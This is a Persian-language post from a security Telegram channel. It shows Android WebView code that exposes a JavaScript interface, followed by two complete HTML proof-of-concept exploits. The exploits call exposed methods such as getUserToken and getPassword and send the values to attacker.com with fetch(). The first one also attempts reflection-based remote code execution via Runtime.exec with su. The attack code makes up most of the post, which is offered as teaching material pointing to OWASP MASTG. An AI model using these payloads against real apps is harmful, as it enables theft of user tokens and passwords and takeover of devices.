TGViewer
Security Analysis Security Analysis @securation · 12.3K subscribers
Post #1937 4.83K
⭕️ در زیر یک تکه کد آسیب‌پذیر آورده شده است:
WebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url"));

کد اکسپلویت کامل
<!DOCTYPE html>
<html>
<head>
    <title>POC - WebView addJavascriptInterface</title>
</head>
<body>
    <h2> Exploiting addJavascriptInterface</h2>
    <div id="result"></div>
   
    <script>
        // مرحله 1: سرقت دیتا از متدهای exposed
        try {
            var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
            for (var method of methods) {
                try {
                    var data = window.Android[method]();
                    if (data) {
                        document.getElementById('result').innerHTML +=
                            '<p>Stolen: ' + method + ' = ' + data + '</p>';
                        fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
                    }
                } catch(e) {}
            }
        } catch(e) {}
       
        // مرحله 2: RCE (فقط در صورتی که getContext در کلاس جاوا تعریف شده باشه)
        try {
            var context = window.Android.getContext();
            var classLoader = context.getClassLoader();
            var Runtime = classLoader.loadClass('java.lang.Runtime')
                .getMethod('getRuntime', null)
                .invoke(null, null);
            Runtime.exec(['su', '-c', 'id']);
            document.getElementById('result').innerHTML += '<p> RCE Successful!</p>';
        } catch(e) {
            document.getElementById('result').innerHTML +=
                '<p> RCE not possible (no chain method)</p>';
        }
    </script>
</body>
</html>

نسخه ساده‌تر (سرقت دیتا از متود های اکسپوزد)
<!DOCTYPE html>
<html>
<head>
<title>POC</title>
</head>
<body>
<script>
// سرقت دیتای هر متدی که در کلاس جاوا وجود داره
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];

for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
alert('Stolen: ' + data);
}
} catch(e) {}
}
</script>
</body>
</html>

نکته: این POC فرض می‌کنه که متدهایی مثل getUserToken() یا getPassword() در کلاس جاوا وجود دارن.

نکته مهم تر! اینکه برای رسیدن به RCE کامل به واسطه رفلکشن در اندروید های بالاتر از 4.2+ امکان پذیر نیست مگر اینکه در کلاس جاوا فانکشنی توسط برنامه نویس تعریف شده باشد که Context آن اکتیویتی را ریترن کند!!

برای مطالعه بیشتر: Owasp MASTG

@securation
#Android #RE #Owasp #Mastg #webview
  • ❤ 11
More from @securation
  1. Sep 28, 2026ترس توی ذهن آدم با فکر کردن بزرگتر میشه. اما وقتی دست به اقدام میزنی کوچیکتر میشه. @secura…
  2. Sep 27, 2026⭕️مهندسی معکوس و دور زدن محدودیت‌های نرم‌افزاری با OpenClaw و Codex این منابع راهنمای جامع…
  3. Sep 25, 2026⭕️نقش AI در جاهای کاربردی اینشکلی هست که الان بعنوان مثال اوبونتو به انتشار هفتگی به‌روزرس…
  4. Sep 23, 2026خبر خوب اول مهر اینکه یک زیرودی به اپل گزارش داده بودم ، فیکس کردن و گزارش رو هم بدون تشکر…
  5. Sep 22, 2026⭕️ گروه هکری "شاینی هانترز" ادعا کرده است که به سیستم‌های اداره تحقیقات فدرال (FBI) نفوذ ک…
  6. Sep 20, 2026🚀 رونمایی از تیزر رسمی رویداد «المپیک فناوری ۱۴۰۵» 🚀 Official Teaser: Tech Olympics 2026…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →